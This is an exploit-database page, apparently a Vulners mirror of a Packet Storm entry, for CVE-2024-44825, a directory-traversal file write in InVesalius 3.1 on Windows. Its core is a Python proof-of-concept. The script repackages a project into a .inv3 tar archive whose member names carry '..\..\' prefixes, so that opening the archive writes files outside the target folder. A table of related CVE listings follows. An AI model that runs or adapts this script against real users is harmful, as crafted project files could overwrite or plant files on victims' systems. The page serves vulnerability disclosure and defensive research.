Lucene search
K

Invesalius 3.1 Arbitrary File Write / Directory Traversal

🗓️ 23 Sep 2024 00:00:00Reported by Riccardo Degli EspostiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 272 Views

Invesalius 3.1 Arbitrary File Write / Directory Traversal exploit on Window

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2024-42845
23 Aug 202413:43
githubexploit
Circl
CVE-2024-44825
25 Sep 202419:21
circl
CNNVD
InVesalius 安全漏洞
25 Sep 202400:00
cnnvd
CVE
CVE-2024-44825
25 Sep 202400:00
cve
Cvelist
CVE-2024-44825
25 Sep 202400:00
cvelist
Debian CVE
CVE-2024-44825
25 Sep 202400:00
debiancve
NVD
CVE-2024-44825
25 Sep 202416:15
nvd
OSV
CVE-2024-44825
25 Sep 202416:15
osv
OSV
DEBIAN-CVE-2024-44825
25 Sep 202416:15
osv
Positive Technologies
PT-2024-31270 · Unknown · Invesalius3
25 Sep 202400:00
ptsecurity
Rows per page
`# Exploit Title: Invesalius 3.1 - Arbitrary File Write using Directory Traversal   
# Discovered By: Riccardo Degli Esposti (partywave)  
# Exploit Author: Riccardo Degli Esposti (partywave)  
# Vendor Homepage: https://invesalius.github.io/  
# Software Link: https://github.com/invesalius/invesalius3/tree/master/invesalius  
# Version: from 3.1.99995  
# Tested on: Windows  
# CVE-ID: CVE-2024-44825  
  
import tarfile  
import os  
import zipfile  
  
# Disclaimer:  
# Tested on Windows  
# edit every [CHANGEME] before run this script  
  
# Step 0: Setup local paths  
# Adapt your paths  
zip_file_path = 'C:\\users\\[CHANGEME]\\downloads\\[CHANGEME].zip'  
extracted_folder = 'C:\\users\\[CHANGEME]\\downloads\\[CHANGEME]'  
  
output_tar = 'C:\\users\\[CHANGEME]\\downloads\\local-output.inv3'  
  
  
main_plist_path = os.path.join(extracted_folder, 'main.plist')  
  
# Ensure the extraction directory exists  
os.makedirs(extracted_folder, exist_ok=True)  
  
# Step 1: Extract the ZIP file  
with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:  
zip_ref.extractall(extracted_folder)  
  
with open(main_plist_path, 'r') as file:  
main_plist_content = file.read()  
  
# POC of loading new XML  
main_plist_content = main_plist_content.replace(  
'<string>ProMED CT 0051</string>',   
'<string>This is a confirmation modifying the XML</string>'  
)  
  
with open(main_plist_path, 'w') as file:  
file.write(main_plist_content)  
  
# Step 3: Create the tar archive  
# Adapt where you want write  
def rename(tarinfo):  
tarinfo.name = "..\\..\\[CHANGEME]\\" + tarinfo.name  
return tarinfo  
  
with tarfile.open(output_tar, "w:xz") as tar:  
for root, _, files in os.walk(extracted_folder):  
for file in files:  
full_path = os.path.join(root, file)  
arcname = os.path.relpath(full_path, extracted_folder)  
tar.add(full_path, arcname=arcname, filter=rename)  
  
output_tar  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation